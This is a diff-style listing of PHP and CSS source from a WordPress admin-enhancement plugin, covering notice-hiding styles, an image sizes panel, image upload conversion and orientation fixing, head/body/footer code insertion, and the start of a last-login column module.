#wpbody-content .pods-submittable-fields > .updated:not(.inline),
|
||||
#wpbody-content .pods-submittable-fields > .update-nag,
|
||||
/* Meta Box Lite */
|
||||
.mb-main > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
.mb-main > .notice-error,
|
||||
.mb-main > .error:not(.hidden),
|
||||
.mb-main > .notice-info,
|
||||
.mb-main > .notice-information,
|
||||
.mb-main > #message,
|
||||
.mb-main > .notice-warning:not(.hidden),
|
||||
.mb-main > .notice-success:not(#plugin-activated-successfully),
|
||||
.mb-main > .notice-updated,
|
||||
.mb-main > .updated:not(.inline),
|
||||
.mb-main > .update-nag,
|
||||
/* Meta Box AIO */
|
||||
.mb-header__left > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
.mb-header__left > .notice-error,
|
||||
.mb-header__left > .error:not(.hidden),
|
||||
.mb-header__left > .notice-info,
|
||||
.mb-header__left > .notice-information,
|
||||
.mb-header__left > #message,
|
||||
.mb-header__left > .notice-warning:not(.hidden),
|
||||
.mb-header__left > .notice-success:not(#plugin-activated-successfully),
|
||||
.mb-header__left > .notice-updated,
|
||||
.mb-header__left > .updated:not(.inline),
|
||||
.mb-header__left > .update-nag,
|
||||
/* Funnel Builder for WordPress by FunnelKit */
|
||||
#wpbody-content > .bwfan_header > .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > .bwfan_header > .notice-error,
|
||||
#wpbody-content > .bwfan_header > .error:not(.hidden),
|
||||
#wpbody-content > .bwfan_header > .notice-info,
|
||||
#wpbody-content > .bwfan_header > .notice-information,
|
||||
#wpbody-content > .bwfan_header > #message,
|
||||
#wpbody-content > .bwfan_header > .notice-warning:not(.hidden),
|
||||
#wpbody-content > .bwfan_header > .notice-success,
|
||||
#wpbody-content > .bwfan_header > .notice-updated,
|
||||
#wpbody-content > .bwfan_header > .updated:not(.inline),
|
||||
#wpbody-content > .bwfan_header > .update-nag,
|
||||
#wpbody-content > .notice:not(.otgs-notice,.wcml-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
|
||||
#wpbody-content > .error,
|
||||
#wpbody-content > .updated:not(.inline),
|
||||
#wpbody-content > .update-nag,
|
||||
#wpbody-content > .jp-connection-banner,
|
||||
#wpbody-content > .jitm-banner,
|
||||
#wpbody-content > .jetpack-jitm-message,
|
||||
#wpbody-content > .ngg_admin_notice,
|
||||
#wpbody-content > .imagify-welcome,
|
||||
#wpbody-content #wordfenceAutoUpdateChoice,
|
||||
#wpbody-content #easy-updates-manager-dashnotice,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-error,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .error:not(.hidden),
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-info,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-information,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap #message,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-success,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-updated,
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .updated:not(.inline),
|
||||
#wpbody-content > .wrap.gblocks-dashboard-wrap .update-nag,
|
||||
/* WPML */
|
||||
#wpbody-content > .otgs-notice,
|
||||
/* WooCommerce Stock Sync */
|
||||
#wpbody-content > .wrap > .ssgs-influencer-banner,
|
||||
#wpbody-content > .wrap > .ssgs-upgrade-banner,
|
||||
#wpbody-content > .wrap > .ssgs-rating-banner,
|
||||
/* Shortpixel */
|
||||
#wpbody-content > .shortpixel-notice,
|
||||
/* Dokan */
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice:not(.system-notice,.hidden,.wcml-notice),
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-error,
|
||||
#wpbody-content > .wrap .dokan-dashboard .error:not(.hidden),
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-info,
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-information,
|
||||
#wpbody-content > .wrap .dokan-dashboard #message,
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content > .wrap .dokan-dashboard .notice-updated,
|
||||
#wpbody-content > .wrap .dokan-dashboard .updated:not(.inline),
|
||||
#wpbody-content > .wrap .dokan-dashboard .update-nag,
|
||||
/* BdThemes Element Pack Pro */
|
||||
#wpbody-content > .wrap > .biggopti,
|
||||
/* Admin Columns */
|
||||
#wpbody-content > .wrap .ac-admin-page .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-error,
|
||||
#wpbody-content > .wrap .ac-admin-page .error:not(.hidden),
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-info,
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-information,
|
||||
#wpbody-content > .wrap .ac-admin-page #message,
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-success,
|
||||
#wpbody-content > .wrap .ac-admin-page .notice-updated,
|
||||
#wpbody-content > .wrap .ac-admin-page .updated:not(.inline),
|
||||
#wpbody-content > .wrap .ac-admin-page .update-nag
|
||||
{
|
||||
position: absolute !important;
|
||||
visibility: hidden !important;
|
||||
}
|
||||
|
||||
/* Keep SMTP password notice visible for administrators. */
|
||||
#wpbody #wpbody-content .notice.notice-warning.asenha-smtp-password-notice,
|
||||
#wpbody #wpbody-content #asenha-smtp-password-notice {
|
||||
display: block !important;
|
||||
position: static !important;
|
||||
visibility: visible !important;
|
||||
}
|
||||
|
||||
/* Keep View Admin as Role recovery URL notice visible for administrators. */
|
||||
#wpbody #wpbody-content .notice.notice-info.asenha-view-admin-as-role-recovery-notice,
|
||||
#wpbody #wpbody-content #asenha-view-admin-as-role-recovery-notice {
|
||||
display: block !important;
|
||||
position: relative !important;
|
||||
visibility: visible !important;
|
||||
}
|
||||
|
||||
#wpbody #wpbody-content #asenha-view-admin-as-role-recovery-notice p strong {
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
<?php
|
||||
?>
|
||||
</style>
|
||||
<?php
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Image Sizes Panel module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Image_Sizes_Panel {
|
||||
/**
|
||||
* Add image sizes meta box in image view/edit screen
|
||||
*
|
||||
* @since 6.3.0
|
||||
*/
|
||||
public function add_image_sizes_meta_box() {
|
||||
global $post;
|
||||
// Only add meta box if the attachment is an image
|
||||
if ( is_object( $post ) && property_exists( $post, 'post_mime_type' ) && false !== strpos( $post->post_mime_type, 'image' ) ) {
|
||||
add_meta_box(
|
||||
'image_sizes',
|
||||
'Image Sizes',
|
||||
[$this, 'image_sizes_table'],
|
||||
'attachment',
|
||||
'side'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Output table of image sizes
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/image-sizes-panel/tags/0.4/admin/admin.php
|
||||
* @since 6.3.0
|
||||
*/
|
||||
public function image_sizes_table( $post ) {
|
||||
global $_wp_additional_image_sizes;
|
||||
$image_sizes = get_intermediate_image_sizes();
|
||||
$metadata = wp_get_attachment_metadata( $post->ID );
|
||||
$generated_sizes = array();
|
||||
// Merge defined image sizes with generated image sizes
|
||||
if ( isset( $metadata['sizes'] ) && count( $metadata['sizes'] ) > 0 ) {
|
||||
$generated_sizes = array_keys( $metadata['sizes'] );
|
||||
$image_sizes = array_unique( array_merge( $image_sizes, $generated_sizes ) );
|
||||
}
|
||||
$image_sizes[] = 'full';
|
||||
$full = wp_get_attachment_image_src( $post->ID, 'full' );
|
||||
sort( $image_sizes );
|
||||
if ( count( $image_sizes ) > 0 ) {
|
||||
echo '<table>';
|
||||
foreach ( $image_sizes as $size ) {
|
||||
$src = wp_get_attachment_image_src( $post->ID, $size );
|
||||
if ( isset( $metadata['sizes'][$size] ) ) {
|
||||
$width = $metadata['sizes'][$size]['width'];
|
||||
$height = $metadata['sizes'][$size]['height'];
|
||||
} else {
|
||||
if ( 'full' == $size ) {
|
||||
$width = $full[1];
|
||||
$height = $full[2];
|
||||
} else {
|
||||
$width = $src[1];
|
||||
$height = $src[2];
|
||||
}
|
||||
}
|
||||
if ( in_array( $size, $generated_sizes ) || 'full' == $size ) {
|
||||
echo '<tr id="image-sizes-panel-' . sanitize_html_class( $size ) . '" class="image-size-row">';
|
||||
echo '<td class="size"><span class="name"><a href="' . esc_url( $src[0] ) . '" target="_blank" class="image-url">' . esc_html( $size ) . '</a></span></td>';
|
||||
echo '<td class="dim">' . esc_html( $width ) . ' × ' . esc_html( $height ) . '</td>';
|
||||
echo '</tr>';
|
||||
}
|
||||
}
|
||||
echo '</table>';
|
||||
} else {
|
||||
echo '<p>No image sizes</p>';
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,482 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use Imagick;
|
||||
/**
|
||||
* Class for Image Upload Control module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Image_Upload_Control {
|
||||
public $png_is_transparent;
|
||||
|
||||
/**
|
||||
* Array storing the file names that were processed, as keys.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L30
|
||||
*
|
||||
* @access private
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
private $orientation_fixed;
|
||||
|
||||
/**
|
||||
* Array storing the meta data of original files in case it
|
||||
* needs to be restored later.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L42
|
||||
*
|
||||
* @access private
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
private $previous_meta;
|
||||
|
||||
/**
|
||||
* Constructor
|
||||
* @since 7.4.3
|
||||
*/
|
||||
function __construct() {
|
||||
$this->png_is_transparent = false;
|
||||
$this->orientation_fixed = array();
|
||||
$this->previous_meta = array();
|
||||
}
|
||||
|
||||
/**
|
||||
* Handler for image uploads. Convert and resize images.
|
||||
*
|
||||
* @since 4.3.0
|
||||
*/
|
||||
public function image_upload_handler( $upload ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$applicable_mime_types = array(
|
||||
'image/bmp',
|
||||
'image/x-ms-bmp',
|
||||
'image/png',
|
||||
'image/jpeg',
|
||||
'image/jpg',
|
||||
'image/webp'
|
||||
);
|
||||
$disable_image_conversion = false;
|
||||
if ( in_array( $upload['type'], $applicable_mime_types ) ) {
|
||||
// Exlude from conversion and resizing images with filenames ending with '-nr', e.g. birds-nr.png
|
||||
if ( false !== strpos( $upload['file'], '-nr.' ) ) {
|
||||
return $upload;
|
||||
}
|
||||
// Image conversion is not disabled
|
||||
if ( !$disable_image_conversion ) {
|
||||
// Convert BMP
|
||||
if ( 'image/bmp' === $upload['type'] || 'image/x-ms-bmp' === $upload['type'] ) {
|
||||
$upload = $this->maybe_convert_image( 'bmp', $upload );
|
||||
}
|
||||
// Convert PNG without transparency
|
||||
if ( 'image/png' === $upload['type'] ) {
|
||||
$upload = $this->maybe_convert_image( 'png', $upload );
|
||||
}
|
||||
}
|
||||
// At this point, BMPs and non-transparent PNGs are already converted to JPGs, unless excluded with '-nr' suffix.
|
||||
// Let's perform resize operation as needed, i.e. if image dimension is larger than specified
|
||||
$mime_types_to_resize = array(
|
||||
'image/jpeg',
|
||||
'image/jpg',
|
||||
'image/png',
|
||||
'image/webp'
|
||||
);
|
||||
if ( !is_wp_error( $upload ) && in_array( $upload['type'], $mime_types_to_resize ) && filesize( $upload['file'] ) > 0 ) {
|
||||
// https://developer.wordpress.org/reference/classes/wp_image_editor/
|
||||
$wp_image_editor = wp_get_image_editor( $upload['file'] );
|
||||
if ( !is_wp_error( $wp_image_editor ) ) {
|
||||
$image_size = $wp_image_editor->get_size();
|
||||
$max_width = $options['image_max_width'];
|
||||
$max_height = $options['image_max_height'];
|
||||
$convert_to_jpg_quality = 82;
|
||||
$did_resize = false;
|
||||
// Check upload image's dimension and only resize if larger than the defined max dimension
|
||||
if ( isset( $image_size['width'] ) && $image_size['width'] > $max_width || isset( $image_size['height'] ) && $image_size['height'] > $max_height ) {
|
||||
$wp_image_editor->resize( $max_width, $max_height, false );
|
||||
// false is for no cropping
|
||||
$did_resize = true;
|
||||
}
|
||||
// Save only when a resize happened.
|
||||
// Avoid re-encoding (and potentially recompressing) images that are already within max dimensions.
|
||||
if ( $did_resize ) {
|
||||
if ( 'image/jpg' === $upload['type'] || 'image/jpeg' === $upload['type'] ) {
|
||||
$wp_image_editor->set_quality( $convert_to_jpg_quality );
|
||||
}
|
||||
$wp_image_editor->save( $upload['file'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return $upload;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert BMP or PNG without transparency into JPG
|
||||
*
|
||||
* @since 4.3.0
|
||||
*/
|
||||
public function maybe_convert_image( $file_extension, $upload ) {
|
||||
$image_object = null;
|
||||
// Get image object from uploaded BMP/PNG
|
||||
if ( 'bmp' === $file_extension ) {
|
||||
if ( is_file( $upload['file'] ) ) {
|
||||
// Generate image object from BMP for conversion to JPG later
|
||||
if ( function_exists( 'imagecreatefrombmp' ) ) {
|
||||
// PHP >= v7.2
|
||||
$image_object = imagecreatefrombmp( $upload['file'] );
|
||||
} else {
|
||||
// PHP < v7.2
|
||||
require_once ASENHA_PATH . 'includes/bmp-to-image-object.php';
|
||||
$image_object = bmp_to_image_object( $upload['file'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
if ( 'png' === $file_extension ) {
|
||||
// Detect alpha/transparency in PNG
|
||||
$this->png_is_transparent = false;
|
||||
if ( is_file( $upload['file'] ) ) {
|
||||
if ( function_exists( 'imagecreatefrompng' ) ) {
|
||||
// GD library is present, so 'imagecreatefrompng' function is available
|
||||
// Generate image object from PNG for potential conversion to JPG later.
|
||||
$image_object = imagecreatefrompng( $upload['file'] );
|
||||
// Get image dimension
|
||||
list( $width, $height ) = getimagesize( $upload['file'] );
|
||||
// Run through pixels until transparent pixel is found
|
||||
for ($x = 0; $x < $width; $x++) {
|
||||
for ($y = 0; $y < $height; $y++) {
|
||||
$pixel_color_index = imagecolorat( $image_object, $x, $y );
|
||||
$pixel_rgba = imagecolorsforindex( $image_object, $pixel_color_index );
|
||||
// array of red, green, blue and alpha values
|
||||
if ( $pixel_rgba['alpha'] > 0 ) {
|
||||
// a pixel with alpha/transparency has been found
|
||||
// alpha value range from 0 (completely opaque) to 127 (fully transparent).
|
||||
// Ref: https://www.php.net/manual/en/function.imagecolorallocatealpha.php
|
||||
$this->png_is_transparent = true;
|
||||
break 2;
|
||||
// Break both 'for' loops
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ( class_exists( 'Imagick' ) ) {
|
||||
$imagick = new Imagick();
|
||||
$imagick->readImage( $upload['file'] );
|
||||
// Ref: https://stackoverflow.com/a/52295997
|
||||
// Ref: https://www.php.net/manual/en/imagick.getimagechannelrange.php
|
||||
// If the channel is defined, and has any transparent areas across any frame, then maxima will always be greater then minima.
|
||||
// If the channel is NOT defined, then minima will be Inf placeholder, and maxima will be -Inf placeholder, so the above check will still work.
|
||||
$alpha_range = $imagick->getImageChannelRange( Imagick::CHANNEL_ALPHA );
|
||||
$this->png_is_transparent = $alpha_range['minima'] < $alpha_range['maxima'];
|
||||
}
|
||||
}
|
||||
}
|
||||
// Do not convert PNG with alpha/transparency
|
||||
if ( $this->png_is_transparent ) {
|
||||
return $upload;
|
||||
}
|
||||
}
|
||||
// Let's convert BMP and non-transparent PNG into JPG
|
||||
$converted_to_jpg = false;
|
||||
if ( is_object( $image_object ) || class_exists( 'Imagick' ) ) {
|
||||
$wp_uploads = wp_upload_dir();
|
||||
$old_filename = wp_basename( $upload['file'] );
|
||||
// Assign new, unique file name for the converted image
|
||||
// $new_filename = wp_basename( str_ireplace( '.' . $file_extension, '.jpg', $old_filename ) );
|
||||
$new_filename = str_ireplace( '.' . $file_extension, '.jpg', $old_filename );
|
||||
$new_filename = wp_unique_filename( dirname( $upload['file'] ), $new_filename );
|
||||
// original image is always deleted in ASE Free
|
||||
$keep_original_image = false;
|
||||
$converted_to_jpg = false;
|
||||
}
|
||||
if ( is_object( $image_object ) ) {
|
||||
// When image object creation is successful
|
||||
// When conversion from BMP/PNG to JPG is successful using GD. Last parameter is JPG quality (0-100).
|
||||
if ( imagejpeg( $image_object, $wp_uploads['path'] . '/' . $new_filename, 90 ) ) {
|
||||
$converted_to_jpg = true;
|
||||
}
|
||||
} else {
|
||||
// When image object creation with imagecreatefrombmp(), bmp_to_image_object() or imagecreatefrompng() is not successful, we use Imagick to convert from BMP and non-transparent PNG to JPG.
|
||||
if ( class_exists( 'Imagick' ) ) {
|
||||
$imagick = new Imagick();
|
||||
$imagick->readImage( $upload['file'] );
|
||||
$imagick->setImageCompressionQuality( 90 );
|
||||
$imagick->setImageFormat( 'jpg' );
|
||||
// $imagick->setFormat( 'jpg' );
|
||||
if ( $imagick->writeImage( $wp_uploads['path'] . '/' . $new_filename ) ) {
|
||||
$converted_to_jpg = true;
|
||||
}
|
||||
// Clear the Imagick object
|
||||
$imagick->clear();
|
||||
$imagick->destroy();
|
||||
}
|
||||
}
|
||||
if ( $converted_to_jpg ) {
|
||||
// Delete original BMP / PNG
|
||||
if ( !$keep_original_image ) {
|
||||
unlink( $upload['file'] );
|
||||
}
|
||||
// Add converted JPG info into $upload
|
||||
$upload['file'] = $wp_uploads['path'] . '/' . $new_filename;
|
||||
$upload['url'] = $wp_uploads['url'] . '/' . $new_filename;
|
||||
$upload['type'] = 'image/jpeg';
|
||||
}
|
||||
return $upload;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate image object from PNG/JPG with GD library
|
||||
*
|
||||
* @since 6.9.11
|
||||
*/
|
||||
public function gd_generate_webp(
|
||||
$file,
|
||||
$file_extension,
|
||||
$webp_path,
|
||||
$webp_conversion_quality
|
||||
) {
|
||||
if ( 'png' == $file_extension ) {
|
||||
$image_object = imagecreatefrompng( $file );
|
||||
if ( $this->png_is_transparent ) {
|
||||
imagepalettetotruecolor( $image_object );
|
||||
}
|
||||
}
|
||||
if ( 'jpg' == $file_extension || 'jpeg' == $file_extension ) {
|
||||
$image_object = imagecreatefromjpeg( $file );
|
||||
}
|
||||
// When creation of image object from PNG/JPG is successful. let's generate WebP image
|
||||
// Second parameter is file path, last parameter is WebP quality (0-100).
|
||||
if ( !is_null( $image_object ) && is_object( $image_object ) ) {
|
||||
imagewebp( $image_object, $webp_path, $webp_conversion_quality );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks the filename before it is uploaded to WordPress and
|
||||
* runs the fix_image_orientation function in case its needed.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L172
|
||||
*
|
||||
* @access public
|
||||
*
|
||||
* @hook wp_handle_upload_prefilter
|
||||
*
|
||||
* @param array $file An array of data for a single file.
|
||||
*
|
||||
* @return array An array of data for a single file.
|
||||
*/
|
||||
public function prefilter_maybe_fix_image_orientation( $file ) {
|
||||
// Get the file extension
|
||||
// $suffix = substr( $file['name'], strrpos( $file['name'], '.', -1 ) + 1 );
|
||||
$suffix = pathinfo( $file['name'], PATHINFO_EXTENSION );
|
||||
if ( in_array( strtolower( $suffix ), array('jpg', 'jpeg', 'tiff'), true ) ) {
|
||||
$this->fix_image_orientation( $file['tmp_name'] );
|
||||
}
|
||||
return $file;
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks the filename before it is uploaded to WordPress and
|
||||
* runs the fix_image_orientation function in case its needed.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L150
|
||||
*
|
||||
* @access public
|
||||
*
|
||||
* @hook wp_handle_upload
|
||||
*
|
||||
* @param array $file {
|
||||
* Array of upload data.
|
||||
*
|
||||
* @type string $file Filename of the newly-uploaded file.
|
||||
* @type string $url URL of the uploaded file.
|
||||
* @type string $type File type.
|
||||
* }
|
||||
*
|
||||
* @return array Array of upload data.
|
||||
*/
|
||||
public function maybe_fix_image_orientation( $file ) {
|
||||
$suffix = substr( $file['file'], strrpos( $file['file'], '.', -1 ) + 1 );
|
||||
if ( in_array( strtolower( $suffix ), array('jpg', 'jpeg', 'tiff'), true ) ) {
|
||||
$this->fix_image_orientation( $file['file'] );
|
||||
}
|
||||
return $file;
|
||||
}
|
||||
|
||||
/**
|
||||
* Fixes the orientation of the image based on exif data
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L191
|
||||
*
|
||||
* @access public
|
||||
*
|
||||
* @param string $file Path of the file.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function fix_image_orientation( $file ) {
|
||||
if ( !isset( $this->orientation_fixed[$file] ) ) {
|
||||
$exif = @exif_read_data( $file );
|
||||
if ( isset( $exif ) && isset( $exif['Orientation'] ) && $exif['Orientation'] > 1 ) {
|
||||
// Need it so that image editors are available to us.
|
||||
// include_once ABSPATH . 'wp-admin/includes/image-edit.php';
|
||||
// Calculate the operations we need to perform on the image.
|
||||
$operations = $this->calculate_flip_and_rotate( $file, $exif );
|
||||
if ( false !== $operations ) {
|
||||
// Lets flip flop and rotate the image as needed.
|
||||
$this->do_flip_and_rotate( $file, $operations );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate the flips and rotations image will need to do to fix its orientation.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L225
|
||||
*
|
||||
* @access private
|
||||
*
|
||||
* @param string $file Path of the file.
|
||||
*
|
||||
* @param array $exif Exif data of the image.
|
||||
*
|
||||
* @return array|bool Array of operations to be performed on the image,
|
||||
* false if no operations are needed.
|
||||
*/
|
||||
private function calculate_flip_and_rotate( $file, $exif ) {
|
||||
$rotator = false;
|
||||
$flipper = false;
|
||||
$orientation = 0;
|
||||
// Lets switch to the orientation defined in the exif data.
|
||||
switch ( $exif['Orientation'] ) {
|
||||
case 1:
|
||||
// We don't want to fix an already correct image :).
|
||||
$this->orientation_fixed[$file] = true;
|
||||
return false;
|
||||
case 2:
|
||||
$flipper = array(false, true);
|
||||
break;
|
||||
case 3:
|
||||
$orientation = -180;
|
||||
$rotator = true;
|
||||
break;
|
||||
case 4:
|
||||
$flipper = array(true, false);
|
||||
break;
|
||||
case 5:
|
||||
$orientation = -90;
|
||||
$rotator = true;
|
||||
$flipper = array(false, true);
|
||||
break;
|
||||
case 6:
|
||||
$orientation = -90;
|
||||
$rotator = true;
|
||||
break;
|
||||
case 7:
|
||||
$orientation = -270;
|
||||
$rotator = true;
|
||||
$flipper = array(false, true);
|
||||
break;
|
||||
case 8:
|
||||
case 9:
|
||||
$orientation = -270;
|
||||
$rotator = true;
|
||||
break;
|
||||
default:
|
||||
$orientation = 0;
|
||||
$rotator = true;
|
||||
break;
|
||||
}
|
||||
return compact( 'orientation', 'rotator', 'flipper' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Flips and rotates the image based on the parameters provided.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L299
|
||||
*
|
||||
* @access private
|
||||
*
|
||||
* @param string $file Path of the file.
|
||||
*
|
||||
* @param array $operations {
|
||||
* Array of operations to be performed on the image.
|
||||
*
|
||||
* @type bool $rotator Whether to rotate the image or not.
|
||||
* @type int $orientation Amount of rotation to be performed in degrees.
|
||||
* @type array|bool $flipper {
|
||||
* Whether to flip the image or not, false if no flipping needed.
|
||||
*
|
||||
* @type bool $0 Flip along Horizontal Axis.
|
||||
* @type bool $1 Flip along Vertical Axis.
|
||||
* }
|
||||
* }
|
||||
*
|
||||
* @return bool Returns true if operations were successful, false otherwise.
|
||||
*/
|
||||
private function do_flip_and_rotate( $file, $operations ) {
|
||||
$editor = wp_get_image_editor( $file );
|
||||
// If GD Library is being used, then we need to store metadata to restore later.
|
||||
if ( 'WP_Image_Editor_GD' === get_class( $editor ) ) {
|
||||
include_once ABSPATH . 'wp-admin/includes/image.php';
|
||||
$this->previous_meta[$file] = wp_read_image_metadata( $file );
|
||||
}
|
||||
if ( !is_wp_error( $editor ) ) {
|
||||
// Lets rotate and flip the image based on exif orientation.
|
||||
if ( true === $operations['rotator'] ) {
|
||||
$editor->rotate( $operations['orientation'] );
|
||||
}
|
||||
if ( false !== $operations['flipper'] ) {
|
||||
$editor->flip( $operations['flipper'][0], $operations['flipper'][1] );
|
||||
}
|
||||
$editor->save( $file );
|
||||
$this->orientation_fixed[$file] = true;
|
||||
add_filter(
|
||||
'wp_read_image_metadata',
|
||||
array($this, 'restore_meta_data'),
|
||||
10,
|
||||
2
|
||||
);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restores the meta data of the image after being processed.
|
||||
*
|
||||
* WordPress' Imagick Library does not need this, but GD library
|
||||
* removes metadata from the image upon rotation or flip so this
|
||||
* method restores those values.
|
||||
*
|
||||
* @since 7.5.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L341
|
||||
*
|
||||
* @hook wp_read_image_metadata
|
||||
*
|
||||
* @param array $meta Image meta data.
|
||||
* @param string $file Path to image file.
|
||||
*
|
||||
* @return array Image meta data.
|
||||
*/
|
||||
public function restore_meta_data( $meta, $file ) {
|
||||
if ( isset( $this->previous_meta[$file] ) ) {
|
||||
$meta = $this->previous_meta[$file];
|
||||
// Setting the Orientation meta to the new value after fixing the rotation.
|
||||
$meta['orientation'] = 1;
|
||||
return $meta;
|
||||
}
|
||||
return $meta;
|
||||
}
|
||||
|
||||
}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Insert <head>, <body> and <footer> code module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Insert_Head_Body_Footer_Code {
|
||||
|
||||
/**
|
||||
* Insert code before </head> tag
|
||||
*
|
||||
* @since 3.3.0
|
||||
*/
|
||||
public function insert_head_code() {
|
||||
|
||||
$this->insert_code( 'head' );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Insert code after <body> tag
|
||||
*
|
||||
* @since 3.3.0
|
||||
*/
|
||||
public function insert_body_code() {
|
||||
|
||||
$this->insert_code( 'body' );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Insert code in footer section before </body> tag
|
||||
*
|
||||
* @since 3.3.0
|
||||
*/
|
||||
public function insert_footer_code() {
|
||||
|
||||
$this->insert_code( 'footer' );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Insert code
|
||||
*
|
||||
* @since 3.3.0
|
||||
*/
|
||||
public function insert_code( $location ) {
|
||||
|
||||
// Do not insert code in admin, feed, robots or trackbacks
|
||||
if ( is_admin() || is_feed() || is_robots() || is_trackback() ) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get option that stores the code
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
|
||||
if ( 'head' == $location ) {
|
||||
|
||||
$code = array_key_exists( 'head_code', $options ) ? $options['head_code'] : '';
|
||||
|
||||
}
|
||||
|
||||
if ( 'body' == $location ) {
|
||||
|
||||
$code = array_key_exists( 'body_code', $options ) ? $options['body_code'] : '';
|
||||
|
||||
}
|
||||
|
||||
if ( 'footer' == $location ) {
|
||||
|
||||
$code = array_key_exists( 'footer_code', $options ) ? $options['footer_code'] : '';
|
||||
|
||||
}
|
||||
|
||||
$disable_code_unslash = array_key_exists( 'disable_code_unslash', $options ) ? $options['disable_code_unslash'] : false;
|
||||
|
||||
// [TODO] Properly escape code
|
||||
if ( $disable_code_unslash ) {
|
||||
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
|
||||
echo $code . PHP_EOL;
|
||||
} else {
|
||||
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
|
||||
echo wp_unslash( $code ) . PHP_EOL;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Last Login Column module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Last_Login_Column {
|
||||
/**
|
||||
* Log date time when a user last logged in successfully
|
||||
*
|
||||
* @since 3.6.0
|
||||
*/
|
||||
public function log_login_datetime( $user_login ) {
|
||||
$user = get_user_by( 'login', $user_login );
|
||||
// by username
|
||||
